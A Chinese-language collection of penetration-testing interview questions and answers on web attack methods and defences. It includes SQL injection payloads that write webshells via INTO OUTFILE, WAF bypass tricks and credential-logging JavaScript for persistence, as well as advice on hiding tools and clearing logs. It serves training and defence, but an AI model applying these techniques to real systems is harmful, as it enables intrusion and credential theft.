渗透测试面体题

渗透测试工程师面试1

来源:https://www.freebuf.com/articles/neopoints/265312.html

渗透就跟泡妹纸⼀样样的,认识妹纸--了解妹纸(信息收集)--逗妹纸开心(扫描)-- 得到妹纸的肯定之后

就开始寻找时机表⽩(漏洞利⽤) -- 表⽩失败(漏洞被修补或有WAF)要么死缠烂打要么就Next one,要么就⽤其他的⽅法来搞定妹纸(有WAF就是⼼存芥蒂,我们就要得到真⼼,就是要⽤真情感化),⽐如搞定她姐妹,帮她搞定她的难题,要浪漫~!

思路流程

信息收集

1.服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

2.网站指纹识别(包括cms,cdn,证书等),dns记录

3.whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

4.子域名手机,旁站,c段等

5.Google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等。

6.扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄露等

7.传输协议,通用漏洞,exp,GitHub源码等

漏洞挖掘

1.浏览网站,看看网站规模,功能,特点等

2.端口,弱口令,目录等扫描,对响应的端口进行漏洞探测。比如:Mysql,ftp,ssh,弱口令等

3.XSS、SQL注入,上传,命令注入,CSRF,暴力破解,任意文件上传,越权访问,未授权访问,文件包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏洞扫描工具等。(awvs,AppScan,ScanPort)

漏洞利用&权限提升

1.Mysql提权,serv-u提权,Oracle提权

2.Windows溢出提权

3.Linux脏牛,内核漏洞提权

清除测试数据&输出报告

1.日志、测试数据的清理

2.总结,输出渗透测试报告,附修复方案

复测

验证并发现是否有新漏洞,输出报告,归档

问题

1.拿到一个待检测的站,你觉得应该先做什么?

信息收集

1.获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词丢进搜索引擎。利用搜索到的关联信息找出其他邮箱而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯。利用已有信息生成专用字典。

2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

3.查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。

4.查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync,mysql,ftp,ssh,弱口令等。

5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄露,比如php探针。

6.Google hack进一步探测网站的信息,后台,敏感文件。

漏洞扫描

开始检测漏洞,如XSS,CSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,文件包含,远程命令执行,弱口令,上传,暴力破解等。

 

漏洞利用

利用以上的方式拿到webshell,或者其他权限。

权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如:IIS6,pr,巴西烤肉,Linux脏牛漏洞,Linux内核版本漏洞提权。

日志清理

总结报告及修复方案

2.判断出网站的CMS对渗透有什么意义?

查找网上曝光的漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的CMS,渗透时扫目录有什么意义?

敏感文件、二级目录扫描。

站长的误操作比如:网站备份的压缩文件、说明txt、二级目录可能存放着其他站点。

4.常见的网站服务器容器

IIS、Apache、nginx、Tomcat。

5.Mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

 

6.目前已知哪些版本的容器有解析漏洞,具体举例

1.IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名,该文件夹中的文件会被解析成.asp文件去执行

2.IIS 7.0/7.5

默认Fast-CGI开启,直接在url中的图片(图片马)地址后面输入/xx.php,会把正常图片当成php文件解析。

3.Nginx

版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CG关闭情况下也可以利用。

4.Apache

上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀。

7.如何手工快速判断目标站是Windows还是Linux服务器?

Linux大小写敏感,Windows大小写不敏感。

8.为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫面出来

站库分离

3306端口不对外开放

9.3389无法连接的几种情况

没开放3389端口

端口被修改

防护拦截

处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

宽字符注入

Hex编码绕过(16进制编码)

11.在某后台新闻编辑器界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件(Apache容器配置文件),我们能做什么?

能做的事情很多,用隐藏网马来举例子:

插入

<FilesMatch "xxx.jpg">SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件

13.注入漏洞只能查帐号密码?

只要权限广,拖库拖到老

14.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,但这不会是一成不变的

15.access扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?

迅雷下载,直接改后缀为.mdb(mdb文件时Microsoft Access软件使用的一种存储方式)

16.提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

17.某服务器有站点A,B,为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库

18.注入时可以不使用and或or或xor,直接order by开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省去步骤

19.某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为,已记录您的ip xx.xx.xx.xx时间:2020-06-30提交页面:test.asp?id=15提交内容:and 1=1

如何利用这个防注入系统拿shell?

在url里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了,这个时候可以尝试寻找网站的配置文件,直接上菜刀连接。

20.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

21.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制实在前端实现的,这时只要增加上传类型就能突破限制了。

22.目标站进制注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码

所有和数据库有交互的地方都有可能有注入。

23.目标站发现某txt的下载地址为:http://www.test.com/down/down.php?file=/updown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=的后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

24.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录

25. 在有shell的情况下,如何使用XSS实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

26.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素,把密码的password属性改为text文本属性。

27.目标站无防护,上传图片可以正常访问,上传脚本格式访问则为403。什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试修改后缀名绕过。

28.审查元素的值网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部,比如护卫神就可以在名称看到内容。

29.在win2003服务器中建立一个.zhongzi文件夹用意为何?

隐藏文件夹,为了不让管理员发现你传上去的工具。

30.sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1

B. demo.jsp?id=2-1

选B,在URL编码中+代表空格,可能会造成混淆。

31.以下链接存在sql注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==

DATA有可能经过了base64编码再传入服务器,所以我们扼要对参数进行base64编码才能正确完成测试。

32.发现demo.jsp?uid=110注入点,你有哪几种思路获取webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入webshell

使用sqlmap-os-shell,原理和上面相同

通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包等方法上传shell

33.CSRF和XSS和XXE有什么区别,以及修复方式?

XSS

跨站脚本攻击:用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击

修复方式:对字符实体进行转义、使用HTTP Only来禁止Java Script读取Cookie值、输入时校验、浏览器与web应用端采用相同的字符编码

CSRF

跨站请求伪造攻击:XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer

XXE

外部实体注入攻击:XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取

修复方式:XML解析库在调用时严格禁止对外部实体的解析

34.CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起

SSRF是服务器端请求伪造,由服务器发起

重放攻击是将截获的数据包进行重放,达到身份认证等目的

35.说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞

密码允许暴力破解

存在通用型找回凭证

可以跳过验证步骤

找回凭证可以拦包获取

身份认证漏洞

回话固定攻击

Cookie仿冒:只要得到Session或Cookie即可伪造用户身份

验证码漏洞

验证码允许暴力破解

验证码可以通过Javascript或者改包的方法来进行绕过

36.圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”

HTTP/1.1Host:***.com:82

User-Agent:

Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1

Accept-Language:zhCN;zh;q=0.8;enUS;q=0.5,en;q=0.3

Referer:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902

Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive

有写入权限的地方,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样写入webshell

使用sqlmap-os-shell原理和上面一种相同,来直接获得一个shell,这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传shell

38.sqlmap怎么对一个注入点注入?

如果是get型,直接sqlmap -u “注入点网址”

如果是post型注入点,可以sqlmap -u “注入点网址” --data=“post的参数”

如果是cookie型注入,添加参数--cookie=“值”

39.nmap扫描的几种方式

TCP/IP中端口建立连接的原则

在TCP/IP协议中,TCP协议提供可靠连接,采用三次握手建立连接,四次挥手断开连接。

三次握手

client发送SNY,请求建立连接

server收到SNY,发送ACK确认,同时自己也发送一个SNY,即ACK+SYN

client收到ACK+SYN,回复ACK,连接建立完成。

四次挥手

client发送FIN,请求释放连接

server收到FIN,发送ACK

server发送FIN,告知释放连接

client收到FIN,发送ACK

TCP/IP实现遵循原则

发送SYN,LISTEN端口回复ACK,CLOSED端口回复RST

发送RST会被直接丢弃

发送ACK给LISTEN端口,会RST

发送FIN,LISTEN端口丢弃,CLOSED端口回复RST

40.sql注入的几种类型

报错注入

bool注入

延时注入

宽字节注入

41.报错注入的函数有哪些?

updatexml(1,concat(0x7e,database(),0x7e),1)

extractvalue(1,concat(0x7e,database(),0x7e))

42.延时注入如何来判断

if(ascii(substr("hello",1,1))=104,sleep(5),1)

43.如何拿一个网站的webshell?

文件上传

后台编辑器模板,公开的漏洞

sql注入写文件

命令执行

代码执行

已经爆出的cms漏洞,比如:dedecms后台可以直接建立脚本文件;wordpress上传插件包含脚本文件zip压缩包等

44.sql注入写文件都有哪些函数?

select ‘一句话’ into outfile ‘路径’

select ‘一句话’ into dumpfile ‘路径’

45.如何防止CSRF

验证referer

验证token

46.owasp漏洞有哪些?

sql注入

失效的身份认证和会话管理

跨站脚本攻击XSS

直接引用不安全的对象

安全配置错误

敏感信息泄露

缺少功能级的访问控制

跨站请求伪造CSRF

使用含有已知漏洞的组件

未验证的重定向和转发

47.sql注入防护方法?

正则过滤特殊字符,PDO预编译

web应用防火墙

站库分离

代码执行,文件读取,命令执行的函数都有哪些?

代码执行

eval,preg_replace,assert,call_user_func_array,create_function

文件读取

file_get_contents(),highlight_file(),fopen(),read_file(),fread(),fgets(),parse_ini_file(),show_source(),file()等

命令执行

system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()

49.img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

50.img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径?

远程服务器修改apache配置文件,配置.jpg文件以php方式来解析

AddType application/x-httpd-php .jpg

<img src=http://xss.tv/1.jpg>1.jpg%3E会以PHP的方式解析

51.为什么aspx木马权限比asp大?

aspx使用的是.net技术。IIS中默认不支持,asp只是脚本语言而已,入侵的时候asp的木马一般是guest权限,aspx的木马一般是users权限

52.如何绕过waf?

大小写转换法

干扰字符 /*!*/

编码

复参数

53.如何向服务器写入webshell

各种上传漏洞

mysql具有写入权限,用sql语句写入shell

http put方法

54.渗透测试中常见的端口

web类(web漏洞/敏感目录)

80 web

80-89 web

8080-9090 web

数据库类(扫描弱口令)

Mysql:3306

Mssql:1433

Oracle:1521

PosttargetSQL:5432

特殊服务类(未授权/命令执行类/漏洞)

443 SSL xinzang滴血

873 Rsyunc 未授权

常用端口类(扫描弱口令/端口爆破)

21 ftp

22 SSH

23 Teknet(远程登录服务的标准协议)

2601,2604 zebra路由(默认密码:zebra)

3389 远程桌面rdp

端口合计详情

![1586503604(1)](面试.assets/1586503604(1).jpg)

Oracle 1521 数据库端口

55.https的建立过程

客户端发送请求到服务器端

服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在

客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端

服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端

客户端使用共享密钥解密数据

SSL加密建立

56.TCP和UDP协议的区别

连接方面的区别

TCP面向连接

UDP无连接,即发送数据之前不需要建立连接

安全方面的区别

TCP提供可靠的服务,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达

UDP尽最大努力交付,即不保证可靠交付

传输效率的区别

TCP传输效率相对较低

UDP传输效率高,使用于对高速传输和实时性有较高的通信或广播通信

连接对象数量的区别

TCP连接只能是点到点,一对一的

UDP支持一对一,一对多,多对一和多对多的交互通信

57.wireshark简单的过滤规则

过滤ip:

过滤源IP地址:ip.src==1.1.1.1;目的IP地址:ip.dst==1.1.1.1

过滤端口:

过滤80端口:tcp.port==80;源端口:tcp.srcport==80;目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如http协议:http

http模式过滤:

过滤get/post包:http.request.mothod=="GET/POST"

渗透测试工程师面试2

https://zhuanlan.zhihu.com/p/104859107

漏洞挖掘

浏览网站,看看网站规模,功能,特点等

端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

思路流程:

信息收集

 

服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

网站指纹识别(包括,cms,cdn,证书等),dns记录

whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

子域名收集,旁站,C段等

google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等

扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

传输协议,通用漏洞,exp,github源码等

漏洞挖掘

 

浏览网站,看看网站规模,功能,特点等

端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

漏洞利用 | 权限提升

mysql提权,serv-u提权,oracle提权

windows 溢出提权

linux脏牛,内核漏洞提权e

清除测试数据 | 输出报告

日志、测试数据的清理

总结,输出渗透测试报告,附修复方案

复测

验证并发现是否有新漏洞,输出报告,归档

问题

1. 在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。

用邮箱做关键词进行丢进搜索引擎。

利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。

社工找出社交账号,里面或许会找出管理员设置密码的习惯 。

利用已有信息生成专用字典。

 

2. 判断出网站的CMS对渗透有什么意义?

 

查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3. 渗透时扫目录的意义

敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

 

4. 目前已知哪些版本的容器有解析漏洞,具体举例。

IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

IIS 7.0/7.5

默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

Nginx

版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。

空字节代码 xxx.jpg.php

Apache1.x、2.x

上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

lighttpd

xx.jpg/xx.php

5. 如何手工快速判断目标站是windows还是linux服务器?

 

linux大小写敏感,windows大小写不敏感。

 

6. 为何一个mysql数据库的站,只有一个80端口开放?

改了端口,站库分离,3306不对外网开放,防火墙拦截

7. 看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

8. 拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:

插入

SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

9. 提权时选择可读写目录,为何尽量不用带空格的目录?

exp执行一般需要空格界定参数

10. 后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

11. 为什么aspx木马权限比asp大

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限

12. 如何绕过waf

大小写转换法

干扰字符 /*!*/

编码 base64 unicode hex url ascll

复参数

13. 常见端口

3306 mysql

1433 mssql

1521 oracle

5432 postgresql

6379 redis

27017 mongodb

8080 tomcat/resin/jetty

137 samba

5900 vnc

14. 如何向服务器写入webshell

各种上传漏洞

mysql具有写入权限,用sql语句写入shell

http put方法

Sql注入

15. SQL注入原理

  1. SQL(结构化语句查询)
  2. 提交参数(调用数据库查询)的地方是用户可控的,并未做任何过滤处理
  3. 数字型,字符型,搜索型,POST注入,Cookie注入,延时注入,盲注等

16. SQL注入防护

1、使用安全的API

2、对输入的特殊字符进行Escape转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

规范编码,字符集

17. 为什么参数化查询可以防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说:

参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

18. SQL头注入点

UserAgent

REFERER

COOKIE

IP

19. 盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

20. 宽字节注入产生原理以及根本原因

产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着”吃掉”,单引号由此逃逸出来可以用来闭合语句。

在哪里编码

根本原因:

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

解决办法:

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。

或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

21. sql里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

1:修改 homepage 值为http://baidu.net', userlevel=’3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://baidu.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

2:修改 password 值为mypass)’ WHERE username=’admin’#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改 id 值为’ OR username=’admin’

之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

sql如何写shell/单引号被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径

outfile函数

`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY ''`

`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`

宽字节注入

代替空格的方法

%0a、%0b、%a0 等

/**/ 等注释符

<>

22. mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

23. mysql和sqlserver注入时候的区别

 

24. 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell

使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

25. 某个防注入系统,如何渗透

https://blog.csdn.net/weixin_42253265/article/details/109518848

26. 系统检测到你有非法注入的行为。

已记录您的ip xx.xx.xx.xx

时间:2016:01-23

提交页面:test.asp?id=15

提交内容:and 1=1

如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接

27. 如何突破注入时字符被转义?

宽字符注入

hex编码绕过

28. mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

29. 如果sleep和benchmark关键字被过滤掉了该怎么办?

1.让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟

2.如果服务器端采用长连接的话可以利用Mysql的锁机制即Get_lock()

3.利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟

未知列名情况下的注入利用

30. 如果在利用SQL注入的时候遇到了WAF(安全狗3.5版本会直接拦截关键字information_shema),从而无法获取数据表的列名,这时该怎么利用漏洞呢?

利用虚表获取数据

XSS

由于平时对目标的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。

XSS原理

反射型

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。

需要诱使用户“点击”一个恶意链接,才能攻击成功

储存型

存储型XSS会把用户输入的数据“存储”在服务器端。

这种XSS具有很强的稳定性。

DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

31. DOM型和反射型的区别

反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。

反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。

DOM型:通过修改页面的DOM节点形成的XSS。

DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。

根本区别在我看来是输出点的不同。

DOM型XSS 自动化测试或人工测试

 

人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。

自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。

32. 如何快速发现xss位置

33. 对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。

对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

除此之外,还有做HTTPOnly对Cookie劫持做限制。

34. XSS蠕虫的产生条件

正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。不一定需要存储型XSS

CSRF

CSRF原理

CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

CSRF防御

验证Referer

添加token

35. token和referer做横向对比,谁安全等级高?

token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。

但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

对referer的验证,从什么角度去做?如果做,怎么杜绝问题?

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。

为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?

引用一段请教前辈的回答:

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击

信息泄露有可能是缓存、日志、get,也有可能是利用跨站

很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了

另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

检测

36. SSRF漏洞的验证方法:

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 http://www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

SSRF漏洞的成因 防御 绕过

成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。

利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。

防御:禁止跳转,限制协议,内外网限制,URL限制。

绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。

文件上传

文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

常见的上传绕过方式

前端js验证:禁用js/burp改包

大小写

双重后缀名

过滤绕过 pphphp->php

文件上传防护

文件上传目录设置为不可执行

使用白名单判断文件上传类型

用随机数改写文件名和路径

审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

文件包含

原理

引入一段用户能控制的脚本或代码,并让服务器端执行

(1)include()等函数通过动态变量的方式引入需要包含的文件;

(2)用户能够控制该动态变量。

导致文件包含的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), …

JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), …

ASP:include file, include virtual,

本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

XXE

逻辑漏洞

金融行业常见逻辑漏洞

单针对金融业务的

主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。

溢出

中间人攻击

中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

防御中间人攻击的方案通常基于一下几种技术

1.公钥基础建设PKI

使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

 

2.延迟测试

 

使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

 

3.使用其他形式的密钥交换形式

 

ARP欺骗

原理:

 

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。

